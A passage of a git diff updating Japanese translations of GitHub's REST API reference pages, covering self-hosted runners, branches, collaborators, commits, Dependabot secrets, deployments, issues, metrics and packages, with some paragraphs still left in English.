+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. 認証されたユーザがこの API を使用するには、リポジトリまたは Organization への管理者アクセス権が必要です。
 
-You can manage self-hosted runners for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin#github-actions)" REST API.
+Enterprise のセルフホストランナーを管理できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} Enterprise 管理](/rest/reference/enterprise-admin#github-actions)」REST API を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'self-hosted-runners' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Self-hosted runner groups
+## セルフホストランナーグループ
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
-The Self-hosted Runners Groups API allows you manage groups of self-hosted runners. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+セルフホストランナーグループ API を使用すると、セルフホストランナーのグループを管理できます。 詳しい情報については、「[グループを使用したセルフホストランナーへのアクセスを管理する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)」を参照してください。
 
-{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. Authenticated users must have admin access to the repository or organization to use this API.
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. 認証されたユーザがこの API を使用するには、リポジトリまたは Organization への管理者アクセス権が必要です。
 
-You can manage self-hosted runner groups for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin##github-actions)" REST API.
+Enterprise のセルフホストランナーグループを管理できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} Enterprise 管理](/rest/reference/enterprise-admin##github-actions)」REST API を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'self-hosted-runner-groups' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflows
+## ワークフロー
 
-The Workflows API allows you to view workflows for a repository. {% data reusables.actions.about-workflows %} For more information, see "[Automating your workflow with GitHub Actions](/actions/automating-your-workflow-with-github-actions)."
+ワークフロー API を使用すると、リポジトリのワークフローを表示できます。 {% data reusables.actions.about-workflows %}詳しい情報については、「[GitHub Actions でワークフローを自動化する](/actions/automating-your-workflow-with-github-actions)」を参照してください。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -90,9 +90,9 @@ The Workflows API allows you to view workflows for a repository. {% data reusabl
   {% if operation.subcategory == 'workflows' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflow jobs
+## ワークフロージョブ
 
-The Workflow Jobs API allows you to view logs and workflow jobs. {% data reusables.actions.about-workflow-jobs %} For more information, see "[Workflow syntax for GitHub Actions](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
+ワークフロージョブ API では、ログとワークフロージョブを表示できます。 {% data reusables.actions.about-workflow-jobs %}詳しい情報については、「[GitHub Actions のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)」を参照してください。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
@@ -100,9 +100,9 @@ The Workflow Jobs API allows you to view logs and workflow jobs. {% data reusabl
   {% if operation.subcategory == 'workflow-jobs' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Workflow runs
+## ワークフロー実行
 
-The Workflow Runs API allows you to view, re-run, cancel, and view logs for workflow runs. {% data reusables.actions.about-workflow-runs %} For more information, see "[Managing a workflow run](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)."
+ワークフロー実行 API では、ワークフロー実行のログを表示、再実行、キャンセル、表示できます。 {% data reusables.actions.about-workflow-runs %}詳しい情報については、「[ワークフロー実行を管理する](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)」を参照してください。
 
 {% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %}
 
diff --git a/translations/ja-JP/content/rest/reference/branches.md b/translations/ja-JP/content/rest/reference/branches.md
index 60a187a93b..2cf2986d3f 100644
--- a/translations/ja-JP/content/rest/reference/branches.md
+++ b/translations/ja-JP/content/rest/reference/branches.md
@@ -1,6 +1,6 @@
 ---
-title: Branches
-intro: 'The branches API allows you to modify branches and their protection settings.'
+title: ブランチ
+intro: The branches API allows you to modify branches and their protection settings.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,19 +12,11 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Branches
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'branches' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Merging
-
-The Repo Merging API supports merging branches in a repository. This accomplishes
-essentially the same thing as merging one branch into another in a local repository
-and then pushing to {% data variables.product.product_name %}. The benefit is that the merge is done on the server side and a local repository is not needed. This makes it more appropriate for automation and other tools where maintaining local repositories would be cumbersome and inefficient.
-
-The authenticated user will be the author of any merges done through this endpoint.
-
+## 保護されたブランチ
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'merging' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% if operation.subcategory == 'branch-protection' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/ja-JP/content/rest/reference/collaborators.md b/translations/ja-JP/content/rest/reference/collaborators.md
index c4842b7049..62682a1d15 100644
--- a/translations/ja-JP/content/rest/reference/collaborators.md
+++ b/translations/ja-JP/content/rest/reference/collaborators.md
@@ -1,5 +1,5 @@
 ---
-title: Collaborators
+title: コラボレータ
 intro: 'The collaborators API allows you to add, invite, and remove collaborators from a repository.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -12,24 +12,20 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Collaborators
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'collaborators' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Invitations
+## 招待
 
-The Repository Invitations API allows users or external services to invite other users to collaborate on a repo. The invited users (or external services on behalf of invited users) can choose to accept or decline the invitations.
+Repository Invitations API を使用すると、他のユーザにリポジトリでコラボレーションするようユーザや外部サービスを招待できます。 招待されたユーザ (または招待されたユーザを代行する外部サービス) は、招待を受諾または拒否できます。
 
-Note that the `repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted
-access to invitations **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as invitations.
+`repo` スコープはコードにも招待にもアクセス権を付与するのに対し、`repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) は招待のみに絞ってアクセス権を付与し、リポジトリのコードにはアクセス権を付与**しない**ことに注意してください。
 
-### Invite a user to a repository		
+### ユーザをリポジトリに招待する
 
-Use the API endpoint for adding a collaborator. For more information, see "[Add a repository collaborator](/rest/reference/collaborators#add-a-repository-collaborator)."
+コラボレータを追加するには、API エンドポイントを使用します。 詳しい情報については「[リポジトリコラボレータを追加する](/rest/reference/collaborators#add-a-repository-collaborator)」を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'invitations' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+{% endfor %}
diff --git a/translations/ja-JP/content/rest/reference/commits.md b/translations/ja-JP/content/rest/reference/commits.md
index 79591a09a6..f0c9c20ebb 100644
--- a/translations/ja-JP/content/rest/reference/commits.md
+++ b/translations/ja-JP/content/rest/reference/commits.md
@@ -1,6 +1,6 @@
 ---
-title: Commits
-intro: 'The commits API allows you to retrieve information and commits, create commit comments, and create commit statuses.'
+title: コミット
+intro: 'The commits API allows you to list, view, and compare commits in a repository. You can also interact with commit comments and commit statuses.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,57 +12,41 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Commits
-
-The Repo Commits API supports listing, viewing, and comparing commits in a repository.
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'commits' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Commit comments
+## コミットのコメント
 
-### Custom media types for commit comments
+### コミットコメントのカスタムメディアタイプ
 
-These are the supported media types for commit comments. You can read more
-about the use of media types in the API [here](/rest/overview/media-types).
+以下がコミットコメントでサポートされているメディアタイプです。 API におけるメディアタイプの使用に関する詳細は、[こちら](/rest/overview/media-types)を参照してください。
 
     application/vnd.github-commitcomment.raw+json
     application/vnd.github-commitcomment.text+json
     application/vnd.github-commitcomment.html+json
     application/vnd.github-commitcomment.full+json
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+詳しい情報については、「[カスタムメディアタイプ](/rest/overview/media-types)」を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Commit statuses
+## コミットのステータス
 
-The status API allows external services to mark commits with an `error`,
-`failure`, `pending`, or `success` state, which is then reflected in pull requests
-involving those commits.
+ステータス API を使用すると、外部サービスがコミットに `error`、 `failure`、`pending`、`success` ステータスを付けることができ、このステータスはコミットが含まれるプルリクエストに反映されます。
 
-Statuses can also include an optional `description` and `target_url`, and
-we highly recommend providing them as they make statuses much more
-useful in the GitHub UI.
+ステータスには、オプションとして `description` と `target_url` を含めることもできます。これにより GitHub UI でステータスをより有用なものにできるので、非常におすすめです。
 
-As an example, one common use is for continuous integration
-services to mark commits as passing or failing builds using status.  The
-`target_url` would be the full URL to the build output, and the
-`description` would be the high level summary of what happened with the
-build.
+たとえば、継続的インテグレーションサービスの典型的な使用方法の一つが、ステータスを使用してコミットに合格と不合格の印を付けることです。  `target_url` でビルドの出力先の完全な URL、`description` でビルドで発生したことの概要を示すといったようにします。
 
-Statuses can include a `context` to indicate what service is providing that status.
-For example, you may have your continuous integration service push statuses with a context of `ci`, and a security audit tool push statuses with a context of `security`.  You can
-then use the [Get the combined status for a specific reference](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) to retrieve the whole status for a commit.
+ステータスには、どのサービスがそのステータスを提供しているかを示す `context` を含めることができます。 たとえば、継続的インテグレーションサービスのプッシュステータスに `ci` のコンテキストを、セキュリティ監査ツールのプッシュステータスに `security` のコンテキストを含めることができます。  その後、[特定のリファレンス複合的なステータス](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)を使用して、コミットの全体のステータスを取得できます。
 
-Note that the `repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to statuses **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as statuses.
+`repo` スコープはコードにもステータスにもアクセス権を付与するのに対し、`repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) はステータスのみに絞ってアクセス権を付与し、リポジトリのコードにはアクセス権を付与**しない**ことに注意してください。
 
-If you are developing a GitHub App and want to provide more detailed information about an external service, you may want to use the [Checks API](/rest/reference/checks).
+GitHub App を開発していて、外部サービスについて詳細な情報を提供したい場合は、[Checks API](/rest/reference/checks) を使用できます。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+{% endfor %}
diff --git a/translations/ja-JP/content/rest/reference/dependabot.md b/translations/ja-JP/content/rest/reference/dependabot.md
new file mode 100644
index 0000000000..db6403de0b
--- /dev/null
+++ b/translations/ja-JP/content/rest/reference/dependabot.md
@@ -0,0 +1,19 @@
+---
+title: Dependabot
+intro: 'With the {% data variables.product.prodname_dependabot %} Secrets API, you can manage and control {% data variables.product.prodname_dependabot %} secrets for an organization or repository.'
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+The {% data variables.product.prodname_dependabot %} Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `dependabot_secrets` permission to use this API. 認証されたユーザは、シークレットを作成、更新、または読み取るために、リポジトリへのコラボレータアクセス権を持っている必要があります。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/ja-JP/content/rest/reference/deployments.md b/translations/ja-JP/content/rest/reference/deployments.md
index 1170b20485..69220a0cda 100644
--- a/translations/ja-JP/content/rest/reference/deployments.md
+++ b/translations/ja-JP/content/rest/reference/deployments.md
@@ -1,5 +1,5 @@
 ---
-title: Deployments
+title: デプロイメント
 intro: 'The deployments API allows you to create and delete deploy keys, deployments, and deployment environments.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -12,28 +12,15 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Deploy keys
+デプロイメントとは、特定の ref (ブランチ、SHA、タグ) を配備するためるリクエストです。 GitHub は、 外部サーバーがリッスンでき、新しいデプロイメントが作成されたときに実行される [`deployment` イベント](/developers/webhooks-and-events/webhook-events-and-payloads#deployment)をディスバッチします。 デプロイメントにより、開発者や Organization はデプロイメントを中心として、さまざまな種類のアプリケーション (ウェブ、ネイティブなど) を提供するための実装に関する詳細を気にすることなく、疎結合ツールを構築できます。
 
-{% data reusables.repositories.deploy-keys %}
+デプロイメントのステータスを使用すると、外部サービスがデプロイメントに `error`、`failure`、`pending`、`in_progress`、`queued`、`success` ステータスを付けることができ、[`deployment_status` イベント](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status)をリッスンするシステムがその情報を使用できます。
 
-Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)."
+デプロイメントのステータスには、オプションとして `description` と `log_url` を含めることもできます。これによりデプロイメントのステータスがより有用なものになるので、非常におすすめです。 `log_url` はデプロイメントの出力の完全な URL で、`description` はデプロイメントで発生したことの概要を示すものです。
 
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
-{% endfor %}
+GitHub は、新しいデプロイメント、デプロイメントのステータスが作成されたときに、`deployment` イベント、`deployment_status` イベントをディスパッチします。 これらのイベントにより、サードパーティのインテグレーションがデプロイメントのリクエストに対する応答を受けとり、進展があるたびにステータスを更新できます。
 
-## Deployments
-
-Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native).
-
-Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume.
-
-Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and
-the `description` is a high-level summary of what happened with the deployment.
-
-GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allows third-party integrations to receive respond to deployment requests and update the status of a deployment as progress is made.
-
-Below is a simple sequence diagram for how these interactions would work.
+以下は、これらの相互作用がどのように機能するかを示す簡単なシーケンス図です。
 
 ```
 +---------+             +--------+            +-----------+        +-------------+
@@ -62,29 +49,44 @@ Below is a simple sequence diagram for how these interactions would work.
      |                      |                       |                     |
 ```
 
-Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc.
+GitHub は、あなたのサーバーに実際にアクセスすることはないということは覚えておきましょう。 デプロイメントイベントとやり取りするかどうかは、サードパーティインテグレーション次第です。 複数のシステムがデプロイメントイベントをリッスンできます。コードをサーバーにプッシュする、ネイティブコードを構築するなどを行うかどうかは、それぞれのシステムが決めることができます。
 
 Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well.
 
+### 非アクティブのデプロイメント
 
-### Inactive deployments
+When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. これを回避するには、デプロイメントのステータスを作成する前に、`auto_inactive` を `false` に設定します。
 
-When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status.
-
-You can communicate that a transient environment no longer exists by setting its `state` to `inactive`.  Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it.
+`state` を `inactive` に設定することで、一時的な環境が存在しなくなったことを伝えることができます。  `state` を `inactive` に設定すると、{% data variables.product.prodname_dotcom %} でデプロイメントが `destroyed` と表示され、アクセス権が削除されます。
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## デプロイメントステータス
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## デプロイキー
+
+{% data reusables.repositories.deploy-keys %}
+
+デプロイキーは、以下の API エンドポイントを使用するか、GitHub を使用することでセットアップできます。 GitHub でデプロイキーを設定する方法については、「[デプロイキーを管理する](/developers/overview/managing-deploy-keys)」を参照してください。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Environments
+## 環境
 
-The Environments API allows you to create, configure, and delete environments. For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." To manage environment secrets, see "[Secrets](/rest/reference/actions#secrets)."
+Environments APIを使うと、環境を作成、設定、削除できます。 For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." 環境のシークレットの管理については「[シークレット](/rest/reference/actions#secrets)」を参照してください。
 
 {% data reusables.gated-features.environments %}
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'environments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
-{% endif %}
\ No newline at end of file
+{% endif %}
diff --git a/translations/ja-JP/content/rest/reference/index.md b/translations/ja-JP/content/rest/reference/index.md
index eb8dc90939..05dc9b6343 100644
--- a/translations/ja-JP/content/rest/reference/index.md
+++ b/translations/ja-JP/content/rest/reference/index.md
@@ -1,7 +1,7 @@
 ---
-title: Reference
-shortTitle: Reference
-intro: View reference documentation to learn about the resources available in the GitHub REST API.
+title: リファレンス
+shortTitle: リファレンス
+intro: GitHub RESTのAPIで使用できるリソースについては、リファレンスドキュメントを参照してください。
 versions:
   fpt: '*'
   ghes: '*'
@@ -19,31 +19,32 @@ children:
   - /codes-of-conduct
   - /code-scanning
   - /codespaces
-  - /commits
   - /collaborators
+  - /commits
+  - /dependabot
   - /deployments
   - /emojis
   - /enterprise-admin
   - /gists
   - /git
-  - /pages
   - /gitignore
   - /interactions
   - /issues
   - /licenses
   - /markdown
   - /meta
+  - /metrics
   - /migrations
   - /oauth-authorizations
   - /orgs
   - /packages
+  - /pages
   - /projects
   - /pulls
   - /rate-limit
   - /reactions
   - /releases
   - /repos
-  - /repository-metrics
   - /scim
   - /search
   - /secret-scanning
diff --git a/translations/ja-JP/content/rest/reference/issues.md b/translations/ja-JP/content/rest/reference/issues.md
index 8aff62fb71..e036a079c8 100644
--- a/translations/ja-JP/content/rest/reference/issues.md
+++ b/translations/ja-JP/content/rest/reference/issues.md
@@ -1,5 +1,5 @@
 ---
-title: Issues
+title: Issue
 intro: 'The Issues API enables you to view and manage issues, including issue assignees, comments, labels, and milestones.'
 redirect_from:
   - /v3/issues
@@ -13,65 +13,62 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-### Custom media types for issues
+### Issue のカスタムメディアタイプ
 
-These are the supported media types for issues.
+Issue についてサポートされているメディアタイプは次のとおりです。
 
     application/vnd.github.VERSION.raw+json
     application/vnd.github.VERSION.text+json
     application/vnd.github.VERSION.html+json
     application/vnd.github.VERSION.full+json
 
-For more information about media types, see "[Custom media types](/rest/overview/media-types)."
+メディアタイプの詳しい情報については、「[カスタムメディアタイプ](/rest/overview/media-types)」を参照してください。
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Assignees
+## アサインされた人
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'assignees' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Comments
+## コメント
 
-The Issue Comments API supports listing, viewing, editing, and creating
-comments on issues and pull requests.
+Issue コメント API は、Issue およびプルリクエストに関するリスト、表示、編集、コメントの作成に対応しています。
 
-Issue Comments use [these custom media types](#custom-media-types).
-You can read more about the use of media types in the API
-[here](/rest/overview/media-types).
+Issue コメントは、[3 つのカスタムメディアタイプ](#custom-media-types)を使用します。 API におけるメディアタイプの使用に関する詳細は、[こちら](/rest/overview/media-types)を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Events
+## イベント
 
-The Issue Events API can return different types of events triggered by activity in issues and pull requests. For more information about the specific events that you can receive from the Issue Events API, see "[Issue event types](/developers/webhooks-and-events/issue-event-types)." An events API for GitHub activity outside of issues and pull requests is also available. For more information, see the "[Events API](/developers/webhooks-and-events/github-event-types)."
+Issue イベント API は、Issue およびプルリクエストでのアクティビティによってトリガーされるイベントのタイプを返します。 The Issue Events API can return different types of events triggered by activity in issues and pull requests. For more information about the specific events that you can receive from the Issue Events API, see "[Issue event types](/developers/webhooks-and-events/issue-event-types)." 詳細は、「[イベント API](/developers/webhooks-and-events/github-event-types)」を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'events' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Labels
+## ラベル
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'labels' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Milestones
+## マイルストーン
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'milestones' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Timeline
+## タイムライン
 
-The Timeline Events API can return different types of events triggered by timeline activity in issues and pull requests. For more information about the specific events that you can receive from the Issue Events API, see "[Issue event types](/developers/webhooks-and-events/issue-event-types)." An events API for GitHub activity outside of issues and pull requests is also available. For more information, see the "[GitHub Events API](/developers/webhooks-and-events/github-event-types)."
+タイムラインイベント API は、Issue およびプルリクエストでのタイムラインアクティビティによってトリガーされるイベントのタイプを返します。 The Issue Events API can return different types of events triggered by activity in issues and pull requests. For more information about the specific events that you can receive from the Issue Events API, see "[Issue event types](/developers/webhooks-and-events/issue-event-types)." 詳細は、「[GitHub イベント API](/developers/webhooks-and-events/github-event-types)」を参照してください。
 
-You can use this API to display information about issues and pull request or determine who should be notified of issue comments.
+この API を使用すると、Issue およびプルリクエストに関する情報を表示したり、Issue コメントを通知する相手を決定したりできます。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'timeline' %}{% include rest_operation %}{% endif %}
diff --git a/translations/ja-JP/content/rest/reference/metrics.md b/translations/ja-JP/content/rest/reference/metrics.md
new file mode 100644
index 0000000000..1b147f2d42
--- /dev/null
+++ b/translations/ja-JP/content/rest/reference/metrics.md
@@ -0,0 +1,60 @@
+---
+title: Metrics
+intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/reference/repository-metrics
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## コミュニティ
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% endif %}
+
+## 統計
+
+Repository Statistics API を使用すると、{% data variables.product.product_name %} がさまざまなタイプのリポジトリのアクティビティを視覚化するために用いるデータをフェッチできます。
+
+### キャッシングについて
+
+リポジトリの統計情報を計算するのは負荷が高い操作なので、可能な限りキャッシュされたデータを返すようにしています。  リポジトリの統計をクエリした際にデータがキャッシュされていなかった場合は、`202` レスポンスを受け取ります。また、この統計をまとめるため、バックグラウンドでジョブが開始します。 このジョブが完了するまで少し待ってから、リクエストを再度サブミットしてください。 ジョブが完了していた場合、リクエストは `200` レスポンスを受けとり、レスポンスの本文には統計情報が含まれています。
+
+リポジトリの統計情報は、リポジトリのデフォルトブランチに SHA でキャッシュされ、デフォルトのブランチにプッシュすると統計情報のキャッシュがリセットされます。
+
+### 統計で除外されるコミットのタイプ
+
+API によって公開される統計は、[別のリポジトリグラフ](/github/visualizing-repository-data-with-graphs/about-repository-graphs)で表示される統計と同じものです。
+
+要約すると、
+- すべての統計は、マージコミットが除外されます。
+- コントリビューター統計では、空のコミットも除外されます。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## トラフィック
+
+プッシュアクセスを持つリポジトリに対し、トラフィック API はリポジトリグラフが提供する情報へのアクセスを提供します。 詳細は「<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">リポジトリへのトラフィックを表示する</a>」を参照してください。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+{% endif %}
diff --git a/translations/ja-JP/content/rest/reference/packages.md b/translations/ja-JP/content/rest/reference/packages.md
index 8af15e78f9..8c19ccb301 100644
--- a/translations/ja-JP/content/rest/reference/packages.md
+++ b/translations/ja-JP/content/rest/reference/packages.md
@@ -1,5 +1,5 @@
 ---
-title: Packages
+title: パッケージ
 intro: 'With the {% data variables.product.prodname_registry %} API, you can manage packages for your {% data variables.product.prodname_dotcom %} repositories and organizations.'
 product: '{% data reusables.gated-features.packages %}'
 versions:
@@ -10,16 +10,16 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The {% data variables.product.prodname_registry %} API enables you to manage packages using the REST API. To learn more about restoring or deleting packages, see "[Restoring and deleting packages](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+{% data variables.product.prodname_registry %} APIでは、REST APIを使ってパッケージを管理できます。 パッケージのリストアや削除についてさらに学ぶには、「[パッケージのリストアと削除](/packages/learn-github-packages/deleting-and-restoring-a-package)」を参照してください。
 
-To use this API, you must authenticate using a personal access token. 
-  - To access package metadata, your token must include the `read:packages` scope.
-  - To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes.
-  - To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes.
+このAPIを使うには、個人アクセストークンを使って認証を受けなければなりません。
+  - パッケージメタデータにアクセスするには、トークンに`read:packages`スコープが含まれていなければなりません。
+  - パッケージやパッケージのバージョンを削除するには、トークンに`read:packages`及び`delete:packages`スコープが含まれていなければなりません。
+  - パッケージやパッケージのバージョンをリストアするには、トークンに`read:packages`及び`write:packages`スコープが含まれていなければなりません。
 
-If your `package_type` is `npm`, `maven`, `rubygems`, or `nuget`, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. If your package is in the {% data variables.product.prodname_container_registry %}, then your `package_type` is `container` and your token does not need the `repo` scope to access or manage this `package_type`. `container` packages offer granular permissions separate from a repository. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)."
+`package_type`が`npm`、`maven`、`rubygems`、`nuget`のいずれかなら、パッケージは{% data variables.product.prodname_dotcom %}リポジトリからの権限を継承するので、トークンには`repo`スコープも含まれていなければなりません。 パッケージが{% data variables.product.prodname_container_registry %}内にあるなら、`package_type`は`container`であり、この`package_type`のアクセスあるいは管理のためにトークンに`repo`スコープが含まれている必要はありません。 `container`パッケージは、リポジトリは別に詳細な権限を提供します。 詳しい情報については「[{% data variables.product.prodname_registry %}の権限について](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)」を参照してください。
 
-If you want to use the {% data variables.product.prodname_registry %} API to access resources in an organization with SSO enabled, then you must enable SSO for your personal access token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
